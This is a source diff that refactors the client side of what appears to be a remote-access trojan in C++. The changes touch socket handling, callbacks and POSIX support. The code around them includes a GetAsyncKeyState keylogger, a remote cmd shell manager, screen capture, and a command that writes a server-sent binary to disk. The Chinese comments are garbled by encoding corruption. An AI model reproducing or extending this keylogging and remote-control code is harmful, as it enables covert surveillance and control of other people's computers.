klive.keepaliveinterval = 1000 * 5; // <20><><EFBFBD>Լ<EFBFBD><D4BC><EFBFBD>Ϊ5<CEAA><35> Resend if No-Reply
|
klive.keepaliveinterval = 1000 * 5; // <20><><EFBFBD>Լ<EFBFBD><D4BC><EFBFBD>Ϊ5<CEAA><35> Resend if No-Reply
|
||||||
WSAIoctl(m_sClientSocket, SIO_KEEPALIVE_VALS,&klive,sizeof(tcp_keepalive),
|
WSAIoctl(m_sClientSocket, SIO_KEEPALIVE_VALS,&klive,sizeof(tcp_keepalive),
|
||||||
NULL, 0,(unsigned long *)&chOpt,0,NULL);
|
NULL, 0,(unsigned long *)&chOpt,0,NULL);
|
||||||
|
#else
|
||||||
|
// <20><><EFBFBD>ñ<EFBFBD><C3B1><EFBFBD>ѡ<EFBFBD><D1A1>
|
||||||
|
SetKeepAliveOptions(m_sClientSocket);
|
||||||
|
#endif
|
||||||
}
|
}
|
||||||
if (m_hWorkThread == NULL){
|
if (m_hWorkThread == NULL){
|
||||||
|
#ifdef _WIN32
|
||||||
m_hWorkThread = (HANDLE)CreateThread(NULL, 0,
|
m_hWorkThread = (HANDLE)CreateThread(NULL, 0,
|
||||||
WorkThreadProc,(LPVOID)this, 0, NULL);
|
WorkThreadProc,(LPVOID)this, 0, NULL);
|
||||||
m_bWorkThread = m_hWorkThread ? S_RUN : S_STOP;
|
m_bWorkThread = m_hWorkThread ? S_RUN : S_STOP;
|
||||||
|
#else
|
||||||
|
pthread_t id = 0;
|
||||||
|
m_hWorkThread = (HANDLE)pthread_create(&id, nullptr, (void* (*)(void*))IOCPClient::WorkThreadProc, this);
|
||||||
|
#endif
|
||||||
}
|
}
|
||||||
Mprintf("<EFBFBD><EFBFBD><EFBFBD>ӷ<EFBFBD><EFBFBD><EFBFBD><EFBFBD>˳ɹ<EFBFBD>.\n");
|
Mprintf("<EFBFBD><EFBFBD><EFBFBD>ӷ<EFBFBD><EFBFBD><EFBFBD><EFBFBD>˳ɹ<EFBFBD>.\n");
|
||||||
m_bConnected = TRUE;
|
m_bConnected = TRUE;
|
||||||
@@ -176,7 +283,7 @@ DWORD WINAPI IOCPClient::WorkThreadProc(LPVOID lParam)
|
|||||||
IOCPClient* This = (IOCPClient*)lParam;
|
IOCPClient* This = (IOCPClient*)lParam;
|
||||||
char* szBuffer = new char[MAX_RECV_BUFFER];
|
char* szBuffer = new char[MAX_RECV_BUFFER];
|
||||||
fd_set fd;
|
fd_set fd;
|
||||||
const struct timeval tm = { 2, 0 };
|
struct timeval tm = { 2, 0 };
|
||||||
|
|
||||||
while (This->IsRunning()) // û<><C3BB><EFBFBD>˳<EFBFBD><CBB3><EFBFBD><EFBFBD><EFBFBD>һֱ<D2BB><D6B1><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ѭ<EFBFBD><D1AD><EFBFBD><EFBFBD>
|
while (This->IsRunning()) // û<><C3BB><EFBFBD>˳<EFBFBD><CBB3><EFBFBD><EFBFBD><EFBFBD>һֱ<D2BB><D6B1><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ѭ<EFBFBD><D1AD><EFBFBD><EFBFBD>
|
||||||
{
|
{
|
||||||
@@ -187,7 +294,11 @@ DWORD WINAPI IOCPClient::WorkThreadProc(LPVOID lParam)
|
|||||||
}
|
}
|
||||||
FD_ZERO(&fd);
|
FD_ZERO(&fd);
|
||||||
FD_SET(This->m_sClientSocket, &fd);
|
FD_SET(This->m_sClientSocket, &fd);
|
||||||
|
#ifdef _WIN32
|
||||||
int iRet = select(NULL, &fd, NULL, NULL, &tm);
|
int iRet = select(NULL, &fd, NULL, NULL, &tm);
|
||||||
|
#else
|
||||||
|
int iRet = select(This->m_sClientSocket + 1, &fd, NULL, NULL, &tm);
|
||||||
|
#endif
|
||||||
if (iRet <= 0)
|
if (iRet <= 0)
|
||||||
{
|
{
|
||||||
if (iRet == 0) Sleep(50);
|
if (iRet == 0) Sleep(50);
|
||||||
@@ -206,21 +317,13 @@ DWORD WINAPI IOCPClient::WorkThreadProc(LPVOID lParam)
|
|||||||
szBuffer, MAX_RECV_BUFFER, 0); //<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ض˷<D8B6><CBB7><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
szBuffer, MAX_RECV_BUFFER, 0); //<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ض˷<D8B6><CBB7><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
if (iReceivedLength <= 0)
|
if (iReceivedLength <= 0)
|
||||||
{
|
{
|
||||||
int a = GetLastError();
|
int a = WSAGetLastError();
|
||||||
This->Disconnect(); //<2F><><EFBFBD>մ<EFBFBD><D5B4><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
This->Disconnect(); //<2F><><EFBFBD>մ<EFBFBD><D5B4><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
if(This->m_exit_while_disconnect)
|
if(This->m_exit_while_disconnect)
|
||||||
break;
|
break;
|
||||||
}else{
|
}else{
|
||||||
//<2F><>ȷ<EFBFBD><C8B7><EFBFBD>վ͵<D5BE><CDB5><EFBFBD>OnRead<61><64><EFBFBD><EFBFBD>,ת<><D7AA>OnRead
|
//<2F><>ȷ<EFBFBD><C8B7><EFBFBD>վ͵<D5BE><CDB5><EFBFBD>OnRead<61><64><EFBFBD><EFBFBD>,ת<><D7AA>OnRead
|
||||||
This->OnServerReceiving(szBuffer, iReceivedLength);
|
This->OnServerReceiving(szBuffer, iReceivedLength);
|
||||||
if (This->m_Manager!=NULL && This->m_Manager->m_bIsDead)
|
|
||||||
{
|
|
||||||
Mprintf("****** Recv bye bye ******\n");
|
|
||||||
// <20><><EFBFBD><EFBFBD><EFBFBD>Ƿ<EFBFBD><C7B7>˳<EFBFBD><CBB3>ͻ<EFBFBD><CDBB>˺<EFBFBD><CBBA><EFBFBD><EFBFBD>ضˣ<D8B6><CBA3><EFBFBD><EFBFBD>˳<EFBFBD><CBB3>ͻ<EFBFBD><CDBB><EFBFBD>
|
|
||||||
extern BOOL g_bExit;
|
|
||||||
g_bExit = This->m_Manager->m_bIsDead;
|
|
||||||
break;
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -285,8 +388,8 @@ VOID IOCPClient::OnServerReceiving(char* szBuffer, ULONG ulLength)
|
|||||||
|
|
||||||
//<2F><>ѹ<EFBFBD>õ<EFBFBD><C3B5><EFBFBD><EFBFBD>ݺͳ<DDBA><CDB3>ȴ<EFBFBD><C8B4>ݸ<EFBFBD><DDB8><EFBFBD><EFBFBD><EFBFBD>Manager<65><72><EFBFBD>д<EFBFBD><D0B4><EFBFBD> ע<><D7A2><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>˶<EFBFBD>̬
|
//<2F><>ѹ<EFBFBD>õ<EFBFBD><C3B5><EFBFBD><EFBFBD>ݺͳ<DDBA><CDB3>ȴ<EFBFBD><C8B4>ݸ<EFBFBD><DDB8><EFBFBD><EFBFBD><EFBFBD>Manager<65><72><EFBFBD>д<EFBFBD><D0B4><EFBFBD> ע<><D7A2><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>˶<EFBFBD>̬
|
||||||
//<2F><><EFBFBD><EFBFBD>m_pManager<65>е<EFBFBD><D0B5><EFBFBD><EFBFBD>һ<E0B2BB><D2BB><EFBFBD><EFBFBD><EFBFBD>ɵ<EFBFBD><C9B5>õ<EFBFBD>OnReceive<76><65><EFBFBD><EFBFBD><EFBFBD><EFBFBD>һ<EFBFBD><D2BB>
|
//<2F><><EFBFBD><EFBFBD>m_pManager<65>е<EFBFBD><D0B5><EFBFBD><EFBFBD>һ<E0B2BB><D2BB><EFBFBD><EFBFBD><EFBFBD>ɵ<EFBFBD><C9B5>õ<EFBFBD>OnReceive<76><65><EFBFBD><EFBFBD><EFBFBD><EFBFBD>һ<EFBFBD><D2BB>
|
||||||
if (m_Manager)
|
if (m_DataProcess)
|
||||||
m_Manager->OnReceive((PBYTE)m_DeCompressedBuffer.GetBuffer(0),
|
m_DataProcess(m_Manager, (PBYTE)m_DeCompressedBuffer.GetBuffer(0),
|
||||||
m_DeCompressedBuffer.GetBufferLength());
|
m_DeCompressedBuffer.GetBufferLength());
|
||||||
}
|
}
|
||||||
else{
|
else{
|
||||||
|
|||||||
@@ -9,17 +9,16 @@
|
|||||||
#pragma once
|
#pragma once
|
||||||
#endif // _MSC_VER > 1000
|
#endif // _MSC_VER > 1000
|
||||||
|
|
||||||
|
#ifdef _WIN32
|
||||||
|
#include "stdafx.h"
|
||||||
#include <WinSock2.h>
|
#include <WinSock2.h>
|
||||||
#include <Windows.h>
|
|
||||||
#include <MSTcpIP.h>
|
#include <MSTcpIP.h>
|
||||||
#include "Buffer.h"
|
#pragma comment(lib,"ws2_32.lib")
|
||||||
#include "Manager.h"
|
|
||||||
|
|
||||||
#if USING_CTX
|
|
||||||
#include "zstd/zstd.h"
|
|
||||||
#endif
|
#endif
|
||||||
|
|
||||||
#pragma comment(lib,"ws2_32.lib")
|
#include "Buffer.h"
|
||||||
|
#include "common/commands.h"
|
||||||
|
#include "zstd/zstd.h"
|
||||||
|
|
||||||
#define MAX_RECV_BUFFER 1024*32
|
#define MAX_RECV_BUFFER 1024*32
|
||||||
#define MAX_SEND_BUFFER 1024*32
|
#define MAX_SEND_BUFFER 1024*32
|
||||||
@@ -28,10 +27,41 @@
|
|||||||
|
|
||||||
enum { S_STOP = 0, S_RUN, S_END };
|
enum { S_STOP = 0, S_RUN, S_END };
|
||||||
|
|
||||||
|
typedef int (*DataProcessCB)(void* userData, PBYTE szBuffer, ULONG ulLength);
|
||||||
|
|
||||||
|
class IOCPManager {
|
||||||
|
public:
|
||||||
|
virtual ~IOCPManager() {}
|
||||||
|
virtual BOOL IsAlive() const { return TRUE; }
|
||||||
|
virtual BOOL IsReady() const { return TRUE; }
|
||||||
|
virtual VOID OnReceive(PBYTE szBuffer, ULONG ulLength) { }
|
||||||
|
|
||||||
|
static int DataProcess(void* user, PBYTE szBuffer, ULONG ulLength) {
|
||||||
|
IOCPManager* m_Manager = (IOCPManager*)user;
|
||||||
|
if (nullptr == m_Manager) {
|
||||||
|
Mprintf("IOCPManager DataProcess on NULL ptr: %d\n", unsigned(szBuffer[0]));
|
||||||
|
return FALSE;
|
||||||
|
}
|
||||||
|
// <20>ȴ<EFBFBD><C8B4><EFBFBD><EFBFBD><EFBFBD><EFBFBD><D7BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ܴ<EFBFBD><DCB4><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>, 1<><31><EFBFBD>㹻<EFBFBD><E3B9BB>
|
||||||
|
int i = 0;
|
||||||
|
for (; i < 1000 && !m_Manager->IsReady(); ++i)
|
||||||
|
Sleep(1);
|
||||||
|
if (!m_Manager->IsReady()) {
|
||||||
|
Mprintf("IOCPManager DataProcess is NOT ready: %d\n", unsigned(szBuffer[0]));
|
||||||
|
return FALSE;
|
||||||
|
}
|
||||||
|
if (i) {
|
||||||
|
Mprintf("IOCPManager DataProcess wait for %dms: %d\n", i, unsigned(szBuffer[0]));
|
||||||
|
}
|
||||||
|
m_Manager->OnReceive(szBuffer, ulLength);
|
||||||
|
return TRUE;
|
||||||
|
}
|
||||||
|
};
|
||||||
|
|
||||||
class IOCPClient
|
class IOCPClient
|
||||||
{
|
{
|
||||||
public:
|
public:
|
||||||
IOCPClient(bool exit_while_disconnect = false);
|
IOCPClient(BOOL& bExit, bool exit_while_disconnect = false);
|
||||||
virtual ~IOCPClient();
|
virtual ~IOCPClient();
|
||||||
SOCKET m_sClientSocket;
|
SOCKET m_sClientSocket;
|
||||||
CBuffer m_CompressedBuffer;
|
CBuffer m_CompressedBuffer;
|
||||||
@@ -41,9 +71,17 @@ public:
|
|||||||
ZSTD_CCtx* m_Cctx; // ѹ<><D1B9><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
ZSTD_CCtx* m_Cctx; // ѹ<><D1B9><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
ZSTD_DCtx* m_Dctx; // <20><>ѹ<EFBFBD><D1B9><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
ZSTD_DCtx* m_Dctx; // <20><>ѹ<EFBFBD><D1B9><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
#endif
|
#endif
|
||||||
|
int SendLoginInfo(const LOGIN_INFOR& logInfo) {
|
||||||
|
LOGIN_INFOR tmp = logInfo;
|
||||||
|
int iRet = Send2Server((char*)&tmp, sizeof(LOGIN_INFOR));
|
||||||
|
|
||||||
|
return iRet;
|
||||||
|
}
|
||||||
BOOL ConnectServer(const char* szServerIP, unsigned short uPort);
|
BOOL ConnectServer(const char* szServerIP, unsigned short uPort);
|
||||||
static DWORD WINAPI WorkThreadProc(LPVOID lParam);
|
static DWORD WINAPI WorkThreadProc(LPVOID lParam);
|
||||||
|
BOOL Send2Server(const char* szBuffer, ULONG ulOriginalLength) {
|
||||||
|
return OnServerSending(szBuffer, ulOriginalLength);
|
||||||
|
}
|
||||||
VOID OnServerReceiving(char* szBuffer, ULONG ulReceivedLength);
|
VOID OnServerReceiving(char* szBuffer, ULONG ulReceivedLength);
|
||||||
BOOL OnServerSending(const char* szBuffer, ULONG ulOriginalLength);
|
BOOL OnServerSending(const char* szBuffer, ULONG ulOriginalLength);
|
||||||
BOOL SendWithSplit(const char* szBuffer, ULONG ulLength, ULONG ulSplitLength);
|
BOOL SendWithSplit(const char* szBuffer, ULONG ulLength, ULONG ulSplitLength);
|
||||||
@@ -62,15 +100,17 @@ public:
|
|||||||
|
|
||||||
char m_szPacketFlag[FLAG_LENGTH + 3];
|
char m_szPacketFlag[FLAG_LENGTH + 3];
|
||||||
|
|
||||||
VOID setManagerCallBack(CManager* Manager);
|
VOID setManagerCallBack(void* Manager, DataProcessCB dataProcess);
|
||||||
|
|
||||||
VOID Disconnect();
|
VOID Disconnect();
|
||||||
VOID RunEventLoop(const BOOL &bCondition);
|
VOID RunEventLoop(const BOOL &bCondition);
|
||||||
bool IsConnected() const { return m_bConnected == TRUE; }
|
bool IsConnected() const { return m_bConnected == TRUE; }
|
||||||
|
|
||||||
public:
|
public:
|
||||||
CManager* m_Manager;
|
BOOL& g_bExit; // ȫ<><C8AB>״̬<D7B4><CCAC>
|
||||||
CRITICAL_SECTION m_cs;
|
void* m_Manager; // <20>û<EFBFBD><C3BB><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
DataProcessCB m_DataProcess; // <20><><EFBFBD><EFBFBD><EFBFBD>û<EFBFBD><C3BB><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
|
||||||
bool m_exit_while_disconnect;
|
bool m_exit_while_disconnect;
|
||||||
};
|
};
|
||||||
|
|
||||||
|
|||||||
@@ -13,7 +13,8 @@
|
|||||||
// Construction/Destruction
|
// Construction/Destruction
|
||||||
//////////////////////////////////////////////////////////////////////
|
//////////////////////////////////////////////////////////////////////
|
||||||
|
|
||||||
CKernelManager::CKernelManager(IOCPClient* ClientObject):CManager(ClientObject)
|
CKernelManager::CKernelManager(CONNECT_ADDRESS* conn, IOCPClient* ClientObject, HINSTANCE hInstance)
|
||||||
|
: m_conn(conn), m_hInstance(hInstance), CManager(ClientObject)
|
||||||
{
|
{
|
||||||
m_ulThreadCount = 0;
|
m_ulThreadCount = 0;
|
||||||
}
|
}
|
||||||
@@ -112,7 +113,8 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
else if (!isExit){
|
else if (!isExit){
|
||||||
m_hThread[m_ulThreadCount].p = new IOCPClient(true);
|
m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true);
|
||||||
|
m_hThread[m_ulThreadCount].conn = m_conn;
|
||||||
}
|
}
|
||||||
|
|
||||||
switch(szBuffer[0])
|
switch(szBuffer[0])
|
||||||
@@ -127,6 +129,7 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
|||||||
|
|
||||||
case COMMAND_TALK:
|
case COMMAND_TALK:
|
||||||
{
|
{
|
||||||
|
m_hThread[m_ulThreadCount].user = m_hInstance;
|
||||||
m_hThread[m_ulThreadCount++].h = CreateThread(NULL,0,
|
m_hThread[m_ulThreadCount++].h = CreateThread(NULL,0,
|
||||||
LoopTalkManager,
|
LoopTalkManager,
|
||||||
&m_hThread[m_ulThreadCount], 0, NULL);;
|
&m_hThread[m_ulThreadCount], 0, NULL);;
|
||||||
@@ -161,7 +164,7 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
|||||||
{
|
{
|
||||||
BYTE bToken = COMMAND_BYE;// <20><><EFBFBD>ض<EFBFBD><D8B6>˳<EFBFBD>
|
BYTE bToken = COMMAND_BYE;// <20><><EFBFBD>ض<EFBFBD><D8B6>˳<EFBFBD>
|
||||||
m_ClientObject->OnServerSending((char*)&bToken, 1);
|
m_ClientObject->OnServerSending((char*)&bToken, 1);
|
||||||
m_bIsDead = 1;
|
g_bExit = 1;
|
||||||
OutputDebugStringA("======> Client exit \n");
|
OutputDebugStringA("======> Client exit \n");
|
||||||
break;
|
break;
|
||||||
}
|
}
|
||||||
@@ -170,7 +173,7 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
|||||||
{
|
{
|
||||||
BYTE bToken = SERVER_EXIT;// <20><><EFBFBD>ض<EFBFBD><D8B6>˳<EFBFBD>
|
BYTE bToken = SERVER_EXIT;// <20><><EFBFBD>ض<EFBFBD><D8B6>˳<EFBFBD>
|
||||||
m_ClientObject->OnServerSending((char*)&bToken, 1);
|
m_ClientObject->OnServerSending((char*)&bToken, 1);
|
||||||
m_bIsDead = 2;
|
g_bExit = 2;
|
||||||
OutputDebugStringA("======> Server exit \n");
|
OutputDebugStringA("======> Server exit \n");
|
||||||
break;
|
break;
|
||||||
}
|
}
|
||||||
@@ -237,7 +240,6 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
|||||||
ULONGLONG size=0;
|
ULONGLONG size=0;
|
||||||
memcpy(&size, (const char*)szBuffer + 1, sizeof(ULONGLONG));
|
memcpy(&size, (const char*)szBuffer + 1, sizeof(ULONGLONG));
|
||||||
if (WriteBinaryToFile((const char*)szBuffer + 1 + sizeof(ULONGLONG), size)) {
|
if (WriteBinaryToFile((const char*)szBuffer + 1 + sizeof(ULONGLONG), size)) {
|
||||||
extern BOOL g_bExit;
|
|
||||||
g_bExit = 3;
|
g_bExit = 3;
|
||||||
}
|
}
|
||||||
break;
|
break;
|
||||||
|
|||||||
@@ -21,13 +21,16 @@ struct ThreadInfo
|
|||||||
HANDLE h;
|
HANDLE h;
|
||||||
IOCPClient *p;
|
IOCPClient *p;
|
||||||
void* user;
|
void* user;
|
||||||
ThreadInfo() : run(TRUE), h(NULL), p(NULL), user(nullptr){ }
|
CONNECT_ADDRESS* conn;
|
||||||
|
ThreadInfo() : run(TRUE), h(NULL), p(NULL), user(nullptr), conn(nullptr){ }
|
||||||
};
|
};
|
||||||
|
|
||||||
class CKernelManager : public CManager
|
class CKernelManager : public CManager
|
||||||
{
|
{
|
||||||
public:
|
public:
|
||||||
CKernelManager(IOCPClient* ClientObject);
|
CONNECT_ADDRESS* m_conn;
|
||||||
|
HINSTANCE m_hInstance;
|
||||||
|
CKernelManager(CONNECT_ADDRESS* conn, IOCPClient* ClientObject, HINSTANCE hInstance);
|
||||||
virtual ~CKernelManager();
|
virtual ~CKernelManager();
|
||||||
VOID OnReceive(PBYTE szBuffer, ULONG ulLength);
|
VOID OnReceive(PBYTE szBuffer, ULONG ulLength);
|
||||||
|
|
||||||
|
|||||||
@@ -11,7 +11,6 @@
|
|||||||
#include <iostream>
|
#include <iostream>
|
||||||
#include <winbase.h>
|
#include <winbase.h>
|
||||||
#include <winuser.h>
|
#include <winuser.h>
|
||||||
using namespace std;
|
|
||||||
|
|
||||||
#define FILE_PATH "\\MODIf.html"
|
#define FILE_PATH "\\MODIf.html"
|
||||||
#define CAPTION_SIZE 1024
|
#define CAPTION_SIZE 1024
|
||||||
@@ -114,9 +113,9 @@ int CKeyboardManager1::sendOfflineRecord(DWORD dwRead)
|
|||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
string GetKey(int Key) // <20>жϼ<D0B6><CFBC>̰<EFBFBD><CCB0><EFBFBD>ʲô<CAB2><C3B4>
|
std::string GetKey(int Key) // <20>жϼ<D0B6><CFBC>̰<EFBFBD><CCB0><EFBFBD>ʲô<CAB2><C3B4>
|
||||||
{
|
{
|
||||||
string KeyString = "";
|
std::string KeyString = "";
|
||||||
//<2F>жϷ<D0B6><CFB7><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
//<2F>жϷ<D0B6><CFB7><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
const int KeyPressMask=0x80000000; //<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>볣<EFBFBD><EBB3A3>
|
const int KeyPressMask=0x80000000; //<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>볣<EFBFBD><EBB3A3>
|
||||||
int iShift=GetKeyState(0x10); //<2F>ж<EFBFBD>Shift<66><74>״̬
|
int iShift=GetKeyState(0x10); //<2F>ж<EFBFBD>Shift<66><74>״̬
|
||||||
@@ -496,7 +495,7 @@ DWORD WINAPI CKeyboardManager1::KeyLogger(LPVOID lparam)
|
|||||||
}
|
}
|
||||||
for(int i = 8; i <= 255; i++) {
|
for(int i = 8; i <= 255; i++) {
|
||||||
if((GetAsyncKeyState(i)&1) == 1) {
|
if((GetAsyncKeyState(i)&1) == 1) {
|
||||||
string TempString = GetKey (i);
|
std::string TempString = GetKey (i);
|
||||||
lstrcat(KeyBuffer,TempString.c_str());
|
lstrcat(KeyBuffer,TempString.c_str());
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -121,11 +121,10 @@ BOOL SelectDesktop(TCHAR* name)
|
|||||||
// Construction/Destruction
|
// Construction/Destruction
|
||||||
//////////////////////////////////////////////////////////////////////
|
//////////////////////////////////////////////////////////////////////
|
||||||
|
|
||||||
CManager::CManager(IOCPClient* ClientObject)
|
CManager::CManager(IOCPClient* ClientObject) : g_bExit(ClientObject->g_bExit)
|
||||||
{
|
{
|
||||||
m_bIsDead = false;
|
|
||||||
m_ClientObject = ClientObject;
|
m_ClientObject = ClientObject;
|
||||||
m_ClientObject->setManagerCallBack(this);
|
m_ClientObject->setManagerCallBack(this, IOCPManager::DataProcess);
|
||||||
|
|
||||||
m_hEventDlgOpen = CreateEvent(NULL,TRUE,FALSE,NULL);
|
m_hEventDlgOpen = CreateEvent(NULL,TRUE,FALSE,NULL);
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -9,10 +9,8 @@
|
|||||||
#pragma once
|
#pragma once
|
||||||
#endif // _MSC_VER > 1000
|
#endif // _MSC_VER > 1000
|
||||||
|
|
||||||
#include <windows.h>
|
|
||||||
#include "..\common\commands.h"
|
#include "..\common\commands.h"
|
||||||
|
#include "IOCPClient.h"
|
||||||
class IOCPClient;
|
|
||||||
|
|
||||||
typedef IOCPClient CClientSocket;
|
typedef IOCPClient CClientSocket;
|
||||||
|
|
||||||
@@ -23,10 +21,10 @@ HANDLE MyCreateThread(LPSECURITY_ATTRIBUTES lpThreadAttributes, // SD
|
|||||||
DWORD dwCreationFlags, // creation option
|
DWORD dwCreationFlags, // creation option
|
||||||
LPDWORD lpThreadId, bool bInteractive = false);
|
LPDWORD lpThreadId, bool bInteractive = false);
|
||||||
|
|
||||||
class CManager
|
class CManager : public IOCPManager
|
||||||
{
|
{
|
||||||
public:
|
public:
|
||||||
BOOL m_bIsDead; // 1-<2D><><EFBFBD>ض<EFBFBD><D8B6>˳<EFBFBD> 2-<2D><><EFBFBD>ض<EFBFBD><D8B6>˳<EFBFBD>
|
BOOL &g_bExit; // 1-<2D><><EFBFBD>ض<EFBFBD><D8B6>˳<EFBFBD> 2-<2D><><EFBFBD>ض<EFBFBD><D8B6>˳<EFBFBD>
|
||||||
CManager(IOCPClient* ClientObject);
|
CManager(IOCPClient* ClientObject);
|
||||||
virtual ~CManager();
|
virtual ~CManager();
|
||||||
|
|
||||||
|
|||||||
@@ -6,7 +6,6 @@
|
|||||||
#include "RegisterManager.h"
|
#include "RegisterManager.h"
|
||||||
#include "Common.h"
|
#include "Common.h"
|
||||||
#include <IOSTREAM>
|
#include <IOSTREAM>
|
||||||
using namespace std;
|
|
||||||
//////////////////////////////////////////////////////////////////////
|
//////////////////////////////////////////////////////////////////////
|
||||||
// Construction/Destruction
|
// Construction/Destruction
|
||||||
//////////////////////////////////////////////////////////////////////
|
//////////////////////////////////////////////////////////////////////
|
||||||
|
|||||||
@@ -6,7 +6,6 @@
|
|||||||
#include "RegisterOperation.h"
|
#include "RegisterOperation.h"
|
||||||
#include "Common.h"
|
#include "Common.h"
|
||||||
#include <IOSTREAM>
|
#include <IOSTREAM>
|
||||||
using namespace std;
|
|
||||||
|
|
||||||
//////////////////////////////////////////////////////////////////////
|
//////////////////////////////////////////////////////////////////////
|
||||||
// Construction/Destruction
|
// Construction/Destruction
|
||||||
|
|||||||
@@ -12,7 +12,6 @@
|
|||||||
#include <WinUser.h>
|
#include <WinUser.h>
|
||||||
#endif
|
#endif
|
||||||
#include <time.h>
|
#include <time.h>
|
||||||
using namespace std;
|
|
||||||
|
|
||||||
#include "ScreenSpy.h"
|
#include "ScreenSpy.h"
|
||||||
#include "ScreenCapturerDXGI.h"
|
#include "ScreenCapturerDXGI.h"
|
||||||
|
|||||||
@@ -6,18 +6,15 @@
|
|||||||
#include "ShellManager.h"
|
#include "ShellManager.h"
|
||||||
#include "Common.h"
|
#include "Common.h"
|
||||||
#include <IOSTREAM>
|
#include <IOSTREAM>
|
||||||
using namespace std;
|
|
||||||
|
|
||||||
//////////////////////////////////////////////////////////////////////
|
//////////////////////////////////////////////////////////////////////
|
||||||
// Construction/Destruction
|
// Construction/Destruction
|
||||||
//////////////////////////////////////////////////////////////////////
|
//////////////////////////////////////////////////////////////////////
|
||||||
|
|
||||||
BOOL bStarting = TRUE;
|
|
||||||
|
|
||||||
CShellManager::CShellManager(IOCPClient* ClientObject, int n, void* user):CManager(ClientObject)
|
CShellManager::CShellManager(IOCPClient* ClientObject, int n, void* user):CManager(ClientObject)
|
||||||
{
|
{
|
||||||
m_nCmdLength = 0;
|
m_nCmdLength = 0;
|
||||||
bStarting = TRUE;
|
m_bStarting = TRUE;
|
||||||
m_hThreadRead = NULL;
|
m_hThreadRead = NULL;
|
||||||
m_hShellProcessHandle = NULL; //<2F><><EFBFBD><EFBFBD>Cmd<6D><64><EFBFBD>̵Ľ<CCB5><C4BD>̾<EFBFBD><CCBE><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>߳̾<DFB3><CCBE><EFBFBD>
|
m_hShellProcessHandle = NULL; //<2F><><EFBFBD><EFBFBD>Cmd<6D><64><EFBFBD>̵Ľ<CCB5><C4BD>̾<EFBFBD><CCBE><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>߳̾<DFB3><CCBE><EFBFBD>
|
||||||
m_hShellThreadHandle = NULL;
|
m_hShellThreadHandle = NULL;
|
||||||
@@ -109,7 +106,7 @@ DWORD WINAPI CShellManager::ReadPipeThread(LPVOID lParam)
|
|||||||
char szBuffer[1024] = {0};
|
char szBuffer[1024] = {0};
|
||||||
DWORD dwTotal = 0;
|
DWORD dwTotal = 0;
|
||||||
CShellManager *This = (CShellManager*)lParam;
|
CShellManager *This = (CShellManager*)lParam;
|
||||||
while (bStarting)
|
while (This->m_bStarting)
|
||||||
{
|
{
|
||||||
Sleep(100);
|
Sleep(100);
|
||||||
//<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ƿ<EFBFBD><C7B7><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD>ݵĴ<DDB5>С<EFBFBD>Ƕ<EFBFBD><C7B6><EFBFBD>
|
//<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ƿ<EFBFBD><C7B7><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD>ݵĴ<DDB5>С<EFBFBD>Ƕ<EFBFBD><C7B6><EFBFBD>
|
||||||
@@ -160,7 +157,7 @@ VOID CShellManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
|||||||
|
|
||||||
CShellManager::~CShellManager()
|
CShellManager::~CShellManager()
|
||||||
{
|
{
|
||||||
bStarting = FALSE;
|
m_bStarting = FALSE;
|
||||||
|
|
||||||
TerminateProcess(m_hShellProcessHandle, 0); //<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Լ<EFBFBD><D4BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Cmd<6D><64><EFBFBD><EFBFBD>
|
